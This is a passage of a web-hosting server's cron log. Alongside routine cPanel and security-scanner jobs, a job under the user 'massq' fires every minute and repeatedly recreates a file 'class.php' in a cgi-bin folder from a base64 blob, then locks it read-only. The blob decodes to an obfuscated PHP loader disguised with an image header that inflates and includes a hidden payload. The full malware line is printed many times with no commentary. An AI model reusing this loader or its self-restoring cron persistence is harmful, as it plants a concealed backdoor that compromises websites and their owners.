3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:06:01 server CROND[27207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:06:01 server CROND[27208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:06:01 server CROND[27209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:07:01 server CROND[27594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:07:01 server CROND[27595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:07:01 server CROND[27596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:08:02 server CROND[28058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:08:02 server CROND[28059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:08:02 server CROND[28060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:09:01 server CROND[28421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:09:01 server CROND[28422]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 00:09:01 server CROND[28424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:09:01 server CROND[28423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:10:01 server CROND[28806]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:10:01 server CROND[28813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:10:01 server CROND[28815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:10:01 server CROND[28818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:10:01 server CROND[28820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:10:01 server CROND[28821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:10:01 server CROND[28819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:10:01 server CROND[28816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:11:01 server CROND[29639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:11:01 server CROND[29640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:11:01 server CROND[29641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:12:01 server CROND[30010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:12:01 server CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:12:01 server CROND[30011]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:12:01 server CROND[30012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:13:01 server CROND[30384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:13:01 server CROND[30385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:13:01 server CROND[30386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:14:01 server CROND[30861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:14:01 server CROND[30862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:14:01 server CROND[30863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:15:01 server CROND[31257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:15:01 server CROND[31258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:15:01 server CROND[31261]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:15:01 server CROND[31264]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 00:15:01 server CROND[31268]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 00:15:01 server CROND[31262]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 00:15:01 server CROND[31265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:15:01 server CROND[31267]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:15:01 server CROND[31269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:15:01 server CROND[31266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:16:02 server CROND[32139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:16:02 server CROND[32140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:16:02 server CROND[32141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:17:01 server CROND[32512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:17:01 server CROND[32514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQ